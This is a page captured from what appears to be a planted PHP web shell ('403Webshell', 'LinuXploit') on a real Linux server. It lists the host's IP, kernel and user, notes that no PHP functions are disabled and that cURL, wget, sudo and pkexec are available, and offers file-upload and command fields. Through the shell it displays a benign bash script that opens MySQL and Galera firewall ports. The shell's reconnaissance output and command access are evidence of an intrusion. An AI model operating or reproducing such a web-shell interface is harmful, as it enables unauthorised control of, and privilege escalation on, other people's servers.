403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/installer/tweaks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/installer/tweaks/ubuntu-ufw-allowgalera
#!/bin/bash
if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

checkTagExist ufw.success

# Check if LAN VLAN exists, if yes, open only LAN VLAN subnets in the firewall for mySQL.
# if not, open 3306 to WAN.

if [ ! -z "$CWM_LANNICIDS" ]; then

    for ip in $CWM_LANNICIDS; do

        ipvar="ip$ip"
        subnet=`ip -o -f inet addr show | awk '/scope global/ {print $4}' | grep ${!ipvar}`
        
        ufw allow from $subnet to any port 3306
        ufw allow from $subnet to any port 4567
        ufw allow from $subnet to any port 4568

        unset ipvar
        unset subnet
    
    done

else

    ufw allow 3306 | log
    ufw allow 4567 | log
    ufw allow 4568 | log
    
fi

ufw status | log

tagScript success

Youez - 2016 - github.com/yon3zu
LinuXploit